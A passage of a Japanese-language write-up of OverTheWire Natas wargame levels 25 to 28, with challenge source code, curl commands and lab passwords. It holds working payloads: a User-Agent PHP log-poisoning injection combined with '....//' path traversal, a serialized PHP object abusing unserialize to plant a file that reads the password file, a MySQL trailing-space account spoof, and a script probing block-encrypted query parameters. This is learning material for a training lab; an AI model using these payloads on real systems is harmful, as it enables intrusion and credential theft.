gefoltert werden. Der sie abweist. Welche Dummheit, auch nur zu denken, dass wir einen solchen Gott nicht beleidigen d&uuml;rfen. Verdammt nochmal! Leugnen wir doch einfach seine Existenz. Es ist unsere Pflicht, die Existenz Gottes zu leugnen. Es ist unsere Pflicht, ihn zu beleidigen. Leck mich am Arsch, Gott! Schlag mich nieder, wenn du dich traust, du Tyrann! Du nicht existierender Betrug. Es ist die Pflicht aller menschlichen Wesen, die Existenz Gottes zu verneinen. Dann haben wir eine Zukunft. Denn dann, und nur dann, &uuml;bernehmen wir die volle Verantwortung f&uuml;r das, was wir sind. Und genau das musst du tun, Bubby. Denk Gottes Existenz einfach weg. &Uuml;bernimm die Verantwortung f&uuml;r das, was du bist.";

$__FOOTER="Wissenschaftler, Bad Boy Bubby";

?>

select要素が変化したときにフォームがサブミットされるようになっている。

前と同様にoption要素を追加して、なんとか/etc/natas_webpass/natas25の中身をincludeしたい。

制約としては、"../"""に変換されるようになっていて、"natas_webpass"が見つかった時点で強制終了するようになっている。

一つ思ったのは、"../"""に置き換えたとしても、"../"が残ることはありそう。例えば"....//"から"../"を取り除くと"../"にすることができる。

ただ"natas_webpass"の制約上相対パスでも厳しそう、、

わからん。答えを見ます。

https://n0j.github.io/2017/07/18/otw-natas-25.html

$_SERVER['HTTP_USER_AGENT']エスケープされていないので、それを使って<?phpタグをログファイルに埋め込むことができるらしい。それをさっきの"../"のテクニックを使ってincludeすればよき。

天才。

具体的には、User-Agentの値を次のスクリプトにする。

<?php include('/etc/natas_webpass/natas26'); ?>
~$ curl -u natas25:O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx --header 'User-Agent: <?php include("/etc/natas_webpass/natas26"); ?>' --cookie 'PHPSESSID=test' http://natas25.natas.labs.overthewire.org/\?lang\=natas_webpass
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas25", "pass": "O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx" };</script></head>
<body>

<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<option>de</option><option>en</option></select>
</form>
</div>
~$ curl -u natas25:O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx --header 'User-Agent: <?php include("/etc/natas_webpass/natas26"); ?>' --cookie 'PHPSESSID=test' http://natas25.natas.labs.overthewire.org/\?lang\=....//logs/natas25_test.log
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas25", "pass": "O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx" };</script></head>
<body>

<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<option>de</option><option>en</option></select>
</form>
</div>

[26.06.2023 02::43:28] 8A506rfIAXbKKk68yJeuTuRq4UfcK70k
 "Illegal file access detected! Aborting!"
[26.06.2023 02::44:03] 8A506rfIAXbKKk68yJeuTuRq4UfcK70k
 "Directory traversal attempt! fixing request."
<br />
<b>Notice</b>:  Undefined variable: __GREETING in <b>/var/www/natas/natas25/index.php</b> on line <b>80</b><br />
<h2></h2><br />
<b>Notice</b>:  Undefined variable: __MSG in <b>/var/www/natas/natas25/index.php</b> on line <b>81</b><br />
<p align="justify"><br />
<b>Notice</b>:  Undefined variable: __FOOTER in <b>/var/www/natas/natas25/index.php</b> on line <b>82</b><br />
<div align="right"><h6></h6><div><p>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

パスワード:8A506rfIAXbKKk68yJeuTuRq4UfcK70k

Level 26 to 27

<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas26", "pass": "<censored>" };</script></head>  
<body>  
<?php
// sry, this is ugly as hell.  
// cheers kaliman ;)  
// - morla 

class Logger{  
    private $logFile;  
    private $initMsg;  
    private $exitMsg;  
  
    function __construct($file){  
        // initialise variables
        $this->initMsg="#--session started--#\n";    
        $this->exitMsg="#--session end--#\n";   
        $this->logFile = "/tmp/natas26_" . $file . ".log";            
        // write initial message     
        $fd=fopen($this->logFile,"a+");      
        fwrite($fd,$this->initMsg);      
        fclose($fd);  
    }  

    function log($msg){   
        $fd=fopen($this->logFile,"a+");  
        fwrite($fd,$msg."\n");  
        fclose($fd);  
    }  
    
    function __destruct(){   
        // write exit message     
        $fd=fopen($this->logFile,"a+");  
        fwrite($fd,$this->exitMsg); 
        fclose($fd);  
    }  
}  
  
function showImage($filename){  
    if(file_exists($filename))  
        echo "<img src=\"$filename\">";  
}  

function drawImage($filename){
        $img=imagecreatetruecolor(400,300);  
              drawFromUserdata($img);      
                imagepng($img,$filename);     
                   imagedestroy($img);  
}  

function drawFromUserdata($img){  
    if( array_key_exists("x1", $_GET&& array_key_exists("y1", $_GET&&  
        array_key_exists("x2", $_GET&& array_key_exists("y2", $_GET)){       
        $color=imagecolorallocate($img,0xff,0x12,0x1c); 
        imageline($img,$_GET["x1"], $_GET["y1"], 
                       $_GET["x2"], $_GET["y2"], $color);  
    }

    if (array_key_exists("drawing", $_COOKIE)) {         
        $drawing=unserialize(base64_decode($_COOKIE["drawing"]));  
        if($drawing) {
            foreach($drawing as $object)  
                if( array_key_exists("x1", $object&&
                    array_key_exists("y1", $object&& 
                    array_key_exists("x2", $object&&
                    array_key_exists("y2", $object)) {                       
                    $color=imagecolorallocate($img,0xff,0x12,0x1c);   
                    imageline($img,$object["x1"],$object["y1"],   
                                   $object["x2"],$object["y2"],$color);  
                }
            }  
        }
    }  
}  
  
function storeData(){
    $new_object=array();  
    
    if (array_key_exists("x1", $_GET&& array_key_exists("y1", $_GET&& 
        array_key_exists("x2", $_GET&& array_key_exists("y2", $_GET)){       
        $new_object["x1"]=$_GET["x1"]; 
        $new_object["y1"]=$_GET["y1"];   
        $new_object["x2"]=$_GET["x2"];    
        $new_object["y2"]=$_GET["y2"];  
    }  
    
    if (array_key_exists("drawing", $_COOKIE)){         
        $drawing=unserialize(base64_decode($_COOKIE["drawing"]));  
    } else{           
        // create new array     
        $drawing=array();  
    }
    
    $drawing[]=$new_object;     
    setcookie("drawing",base64_encode(serialize($drawing)));  
}  
?>  
  
<h1>natas26</h1>  
<div id="content">  
  
Draw a line:<br>  
<form name="input" method="get">  
X1<input type="text" name="x1" size=2>  
Y1<input type="text" name="y1" size=2>  
X2<input type="text" name="x2" size=2>  
Y2<input type="text" name="y2" size=2>  
<input type="submit" value="DRAW!">  
</form>  
  
<?php  
session_start();  
  
if (array_key_exists("drawing", $_COOKIE||  
.  (array_key_exists("x1", $_GET&& array_key_exists("y1", $_GET&&
    array_key_exists("x2", $_GET&& array_key_exists("y2", $_GET))) {   
    $imgfile="img/natas26_" . session_id() .".png"; 
    drawImage($imgfile);     
    showImage($imgfile);  
    storeData();  
} 
?>  
  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

入力した線分を描けるようになっているみたい。

ちょっと遊んでみる。

Loggerクラスはなんのためにあるんだろう。

見当がつかないので怪しげなところをググっていたらこんなものを発見した。

https://www.sjoerdlangkemper.nl/2021/04/04/remote-code-execution-through-unsafe-unserialize/

PHPunserializeに既存のクラスを渡すとデストラクタを実行できるとのこと。しかもコンストラクタを通さずにオブジェクトを初期化できるので、privateなフィールドも書き換えることができるらしい。

Loggerのデストラクタを使えば任意のファイルに任意の文字列を書き込むことができそう。

見た感じメソッドの情報はserializeされていないよう。

php -a
Interactive shell

php > class Logger{
php {     private $logFile = "image/test.php";
php {     private $initMsg = "";
php {     private $exitMsg = "<?php include('/etc/natas_webpass/natas27'); ?>";
php { }
php > $logger = new Logger();
php > echo base64_encode(serialize($logger));
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxNDoiaW1hZ2UvdGVzdC5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czowOiIiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo0NzoiPD9waHAgaW5jbHVkZSgnL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4iO30=

画像のあるimgフォルダ内であればブラウザからアクセスできるので、logFileにはimg/test.phpを指定した。

あとはこれをdrawingクッキーに設定して、もう一度ページを読み込めばオッケー。

なんか先人のメッセージが残っていた、、

パスワード:PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3

Level 27 to 28

<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas27", "pass": "<censored>" };</script></head>  
<body>  
<h1>natas27</h1>  
<div id="content">  
<?php  
  
// morla / 10111  
// database gets cleared every 5 min  
  
  
/*  
CREATE TABLE `users` (  
  `username` varchar(64) DEFAULT NULL,  
  `password` varchar(64) DEFAULT NULL  
);  
*/  
  
  
function checkCredentials($link,$usr,$pass){  
    $user=mysqli_real_escape_string($link, $usr); 
    $password=mysqli_real_escape_string($link, $pass);  
    $query = "SELECT username from users where username='$user' and password='$password' "; 
    $res = mysqli_query($link, $query);  
    if(mysqli_num_rows($res> 0){  
        return True;  
    }  
    return False;  
}  
  
  
function validUser($link,$usr){
    $user=mysqli_real_escape_string($link, $usr);
    $query = "SELECT * from users where username='$user'"; 
    $res = mysqli_query($link, $query);  
    if($res) {  
        if(mysqli_num_rows($res> 0) {  
            return True;  
        }  
    }  
    return False;  
}  
  
  
function dumpData($link,$usr){  
    $user=mysqli_real_escape_string($link, trim($usr));
    $query = "SELECT * from users where username='$user'";
    $res = mysqli_query($link, $query);  
    if($res) {  
        if(mysqli_num_rows($res> 0) {  
            while ($row = mysqli_fetch_assoc($res)) {  
                // thanks to Gobo for reporting this bug!  
                //return print_r($row);        
                return print_r($row,true);  
            }  
        }  
    }  
    return False;  
}  
  
  
function createUser($link, $usr, $pass){  
    if($usr != trim($usr)) {  
        echo "Go away hacker";  
        return False;  
    }   
    $user=mysqli_real_escape_string($link, substr($usr, 0, 64)); 
    $password=mysqli_real_escape_string($link, substr($pass, 0, 64));
    $query = "INSERT INTO users (username,password) values ('$user','$password')"; 
    $res = mysqli_query($link, $query);  
    if(mysqli_affected_rows($link> 0){  
        return True;
    }  
    return False;  
}  
  
  
if (array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {  
    $link = mysqli_connect('localhost', 'natas27', '<censored>'); 
    mysqli_select_db($link, 'natas27');
    if(validUser($link,$_REQUEST["username"])) { 
        //user exists, check creds   
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){  
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";  
            echo "Here is your data:<br>";       
            $data=dumpData($link,$_REQUEST["username"]);  
            print htmlentities($data);  
        } else {  
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }  
     } else {    
        //user doesn't exist  
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){  
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";  
        }  
    } 
    mysqli_close($link);  
} else {  
?>  
  
<form action="index.php" method="POST">  
Username: <input name="username"><br>  
Password: <input name="password" type="password"><br>  
<input type="submit" value="login" />  
</form>  
<?php } ?>  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

ユーザーネームとパスワードを入力してログインするか、ユーザーネームが存在しない場合にそのユーザーが作られるようになっている。

とりあえずnatas28というユーザーが存在することを確認。

とりあえずcheckCredentialsのチェックを通過させて、dumpDataでパスワードを表示する方針でいく。

mysqli_real_escape_stringエスケープされているから、インジェクション系は厳しそう。

わからん、、

答えを見ます。

https://n0j.github.io/2017/07/20/otw-natas-27.html

どうやらMySQLの仕様で、比較の際に行末のスペースが無視されるようになっているらしい。具体的には、where句で"password"="password "が真になるそう。

これは初見殺し。いやでも言われてみればtrimとかがヒントだったのか。

解法としては、ユーザーネームに"natas28 a"(スペース含め全部で65文字)、パスワードに"password"を指定すると、

  1. validUserでは"natas28 a"にマッチするユーザーネームはないので偽が返ってくる。
  2. createUserが呼ばれ、"natas28 a"が64文字にトリムされ"natas28 "となってデータベースに保存される。

そして次にユーザーネームに"natas28"、パスワードに"password"を指定してもう一回ロードすると、

  1. validUserでは"natas28""natas28 "にマッチするので真が返ってくる。
  2. checkCredentialsが呼ばれ、ユーザーネームは"natas28""natas28 "にマッチし、パスワードでは後者の行の"password"にマッチするので、真が返ってくる。
  3. dumpDataが呼ばれ、ユーザーネームは"natas28""natas28 "にマッチし、先にデータベースに登録されていた前者の行が表示される。

とのこと。ひょえー。

試してみる。

~$ curl -u natas27:PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3 -X POST -d 'username=natas28                                                         a' -d 'password=' http://natas27.natas.labs.overthewire.org/
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas27", "pass": "PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3" };</script></head>
<body>
<h1>natas27</h1>
<div id="content">
User natas28                                                         a was created!<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
~$ curl -u natas27:PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3 -X POST -d 'username=natas28' -d 'password=' http://natas27.natas.labs.overthewire.org/
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas27", "pass": "PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3" };</script></head>
<body>
<h1>natas27</h1>
<div id="content">
Wrong password for user: natas28<br><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

あれ?上手くいっていない。

どういうことだろう。

試行錯誤の結果2回目のユーザーネームに"natas28 "を指定すると上手くいった。

~$ curl -u natas27:PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3 -X POST -d 'username=natas28                                                         ' -d 'password=' http://natas27.natas.labs.overthewire.org/
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas27", "pass": "PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3" };</script></head>
<body>
<h1>natas27</h1>
<div id="content">
Welcome natas28                                                         !<br>Here is your data:<br>Array
(
    [username] =&gt; natas28
    [password] =&gt; skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4
)
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Wrong password for user: natas28ということはcheckCredentialsにユーザーネームとして"natas28"を渡したとき、"natas28 "にマッチしていないことになる。

つまり行末のスペースはやっぱり無視されていないということ!?

調べてみると数年前の記事と数ヶ月前の記事で解説が微妙に違っていた。

https://gist.github.com/austinylin/18ce7f5cd730fda6631850d4d51cc098

この解説では特に"password"="password "となるような動作は言及されていない。

さらによくみるとコードが変わっている。特に、dumpData

$user=mysqli_real_escape_string($link, $usr);

`user = mysqlirealescapestring(link, trim($usr));

に変わっている。

おそらく次のようなMySQLの設定で行末スペースの動作を変えたのだろう。

https://dba.stackexchange.com/questions/312585/mysql-8-trailing-spaces-being-evaluated-in-equals-comparison

つまり2回目においては正しくは、

  1. validUserでは"natas28""natas28 "にマッチするので真が返ってくる。
  2. checkCredentialsが呼ばれ、ユーザーネームは"natas28 "のみにマッチし、パスワードでは後者の行の"password"にマッチするので、真が返ってくる。
  3. dumpDataが呼ばれ、ユーザーネームは"natas28 "をトリムした"natas28"にマッチし、先にデータベースに登録されていた前者の行が表示される。

ということになる。

ややこしや。

パスワード:skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4

Level 28 to 29

ソースコードがない!試しにaと入力してみる。

同じ入力でも表示される内容が微妙に異なるので、おそらくランダムになっているのだろう。

GETパラメータが気になるところではある。

同じ入力に対しては同じパラメータになることは確認した。

php -a
Interactive shell

php > echo urldecode('G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPKriAqPE2%2B%2BuYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D');
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKriAqPE2++uYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
php > echo base64_decode('G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKriAqPE2++uYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=');
%��[�W��Fm��܄r���u��\��
�o���g�$��u��T�hQ\�o*UDYG�OK*�,-v��r�1Q�p

Base64っぽいけどめっちゃバイナリ、、

~$ echo 'G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKriAqPE2++uYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=' | base64 -d > tes
t.bin
~$ file test.bin
test.bin: data

全くわからなかったのでヒント見ます。

https://axcheron.github.io/writeups/otw/natas/#natas-29-solution

どうやらこのパラメータはブロックごとに暗号化されているとのこと。またクエリの中身はSQL文らしい。まあパラメータ名がqueryだから当然か。

自分なりに理解したので簡単に解説書きます。

まずはランダムな入力に対応するqueryの値を調べてみる。

#!/bin/bash

random() {
    LC_ALL=C tr -dc A-Za-z0-9 </dev/urandom | head -c "$1"
}

query() {
    q=$(curl -s -u natas28:skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4 -I -w '%{url}\n' "http://natas28.natas.labs.overthewire.org/?query=$1" | grep search.php | cut -d ' ' -f 2- | cut -d '=' -f 2)
    q=$(php -r "echo urldecode(trim('$q'));")
    echo "$q" | base64 -d | xxd -p | tr -d " \n" | fold -w 32
}

for i in {1..15}; do
    for _ in {1..3}; do
        p=$(random "$i")
        echo "$p: ($i)"
        query "$p"
        printf "\n\n"
    done
done
~$ ./test.sh
l: (1)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
2c912e6d4521f3a2c8d305c8828bff15
bdfa1054ec68515cf96f2a5544591947
904f4b2abf2c2d7686aa72a53151c970

y: (1)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
fb127b137355f7db7e33d4332aca3b0c
bdfa1054ec68515cf96f2a5544591947
904f4b2abf2c2d7686aa72a53151c970

3: (1)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
f01e0317dfd40ff2408b461ac0847b01
bdfa1054ec68515cf96f2a5544591947
904f4b2abf2c2d7686aa72a53151c970

PC: (2)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
86c6b6c9acfd90d02edad102c336db9e
48799a07b1d29b5982015c9355c2e00e
aded9bdbaca6a73b71b35a010d2c4c57

zX: (2)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
72be604c7ace52e0389829bbbbec8291
48799a07b1d29b5982015c9355c2e00e
aded9bdbaca6a73b71b35a010d2c4c57

nz: (2)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
fe3ee023b09b191c2a20f40fc7110f9a
48799a07b1d29b5982015c9355c2e00e
aded9bdbaca6a73b71b35a010d2c4c57

TSS: (3)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
b3d8cf2f86e45613e3c358319d32ee77
9a2e2b5db6f31f19a14f75678eadaa90
4249b93e4dea0909479995b9c44b351a

tAR: (3)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
46b654966e87db95d1b436a06a0ac4b8
9a2e2b5db6f31f19a14f75678eadaa90
4249b93e4dea0909479995b9c44b351a

wvc: (3)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
bace7fc8102b08d352f05910bb891994
9a2e2b5db6f31f19a14f75678eadaa90
4249b93e4dea0909479995b9c44b351a

WUmG: (4)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
cdd95ee70ea6bc7a6368fe03bceb28fa
29287f3cc5479e12e66f31c863b18047
56d5732dc8c770f64397158bc17a6e66

hfRX: (4)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
7290071b14458931e18fa82111ccb229
29287f3cc5479e12e66f31c863b18047
56d5732dc8c770f64397158bc17a6e66

pUoF: (4)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
122b01d80f0510f6daf9d6a233f67753
29287f3cc5479e12e66f31c863b18047
56d5732dc8c770f64397158bc17a6e66

Bupmv: (5)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
2dab3f1f1528a8676bd4199521f54c22
ac3b871c1c448386b45cd36d9e8f72f4
655149bbba2123d89d95417ea27f3a7b

EYA6r: (5)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
f57756c2cc61ebe6373cdf9ed47ab11a
ac3b871c1c448386b45cd36d9e8f72f4
655149bbba2123d89d95417ea27f3a7b

yS16T: (5)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
7432819935faa9e6344fe302d734dbf6
ac3b871c1c448386b45cd36d9e8f72f4
655149bbba2123d89d95417ea27f3a7b

BwYkAR: (6)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
3c03716e3df7930ac4a7e5b83ddd47d3
41c098c4bacdc5ed9357564e5105dd7e
64d0dcc868253692adfcbd3796d1bf8a

WVPr0a: (6)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
59e5355c375cdef41665224594963840
41c098c4bacdc5ed9357564e5105dd7e
64d0dcc868253692adfcbd3796d1bf8a

3yp6Z2: (6)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
224a33656ae14060d3b4c2aeba1cbf33
41c098c4bacdc5ed9357564e5105dd7e
64d0dcc868253692adfcbd3796d1bf8a

cZXga6X: (7)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
93a93dca42b598a20adaa7d7943568df
6486954aea46fb93e9ab85845b4f4bd0
d7ff2b725453fc294701e51f5d7c0f8e

z566abD: (7)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
086e79906fb48c2be04324697a63dbaf
6486954aea46fb93e9ab85845b4f4bd0
d7ff2b725453fc294701e51f5d7c0f8e

cJLnJSK: (7)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
eae8f9fc7a6dfe458397bcb4c861b670
6486954aea46fb93e9ab85845b4f4bd0
d7ff2b725453fc294701e51f5d7c0f8e

Yujui5mN: (8)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
432b511fb334a41722d8c13691fb7483
896de90884f86108b167f8b4aea5d763
917232051483e68e458fd066167b30a3

5VkF2NqE: (8)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
81483bbd47db28ec17187d0e9c68c2a5
896de90884f86108b167f8b4aea5d763
917232051483e68e458fd066167b30a3

CjbAJSP1: (8)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
2b9e42595d5a09e3507e399bafdd2713
896de90884f86108b167f8b4aea5d763
917232051483e68e458fd066167b30a3

k0IX55LJu: (9)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
e8df55b776581a7fc69e146770a02947
a09522f301cf9d36ac7023f165948c5a
9739cd90522fa7a86f95773b56f9f8c0

8eHVUnq8B: (9)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
a8862d53a09c1448ac187a4fd65a76da
a09522f301cf9d36ac7023f165948c5a
9739cd90522fa7a86f95773b56f9f8c0

sA0n10JJI: (9)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
5e1ddad9320c3e287b18cc9a61e52dcd
a09522f301cf9d36ac7023f165948c5a
9739cd90522fa7a86f95773b56f9f8c0

Wd5AtuZrQm: (10)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
7d514170df7e3a9fa2032405475d528b
738a5ffb4a4500246775175ae596bbd6
f34df339c69edce11f6650bbced62702

Z2ZoKuvdHH: (10)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
3d816777371b0d12fa9d4fc3c8a7ce99
738a5ffb4a4500246775175ae596bbd6
f34df339c69edce11f6650bbced62702

V2xangROfR: (10)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
075d18e98864301471ccdcc6ebf1241b
738a5ffb4a4500246775175ae596bbd6
f34df339c69edce11f6650bbced62702

PtyQ8m2qgHr: (11)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
07054a1214704b6b222f1fa616063ac0
77c3eba735f4ee82d639f99d1affb3ab
ca8cf4e610913abae39a067619204a5a

6XGu3xVbqdP: (11)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
2d43476451fca15373949f15782e4ce4
c0c9901a2a37dd1fc436b6a2b4d8bcf9
ca8cf4e610913abae39a067619204a5a

yXCn4IFVnRl: (11)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
585cfc6fe5b4166daef743669d818bc1
f583b553923366319ff4b3bb6b658d2a
ca8cf4e610913abae39a067619204a5a

El32taPCQk6G: (12)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
5312414ba792d89667dbe8f9df558501
bae65d13744f270290a4d4ed4adc4977
75fd5044fd063d26f6bb7f734b41c899

Tqsp7UChdSnj: (12)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
def026fa28a16fa2ea6ed8cd6b94933d
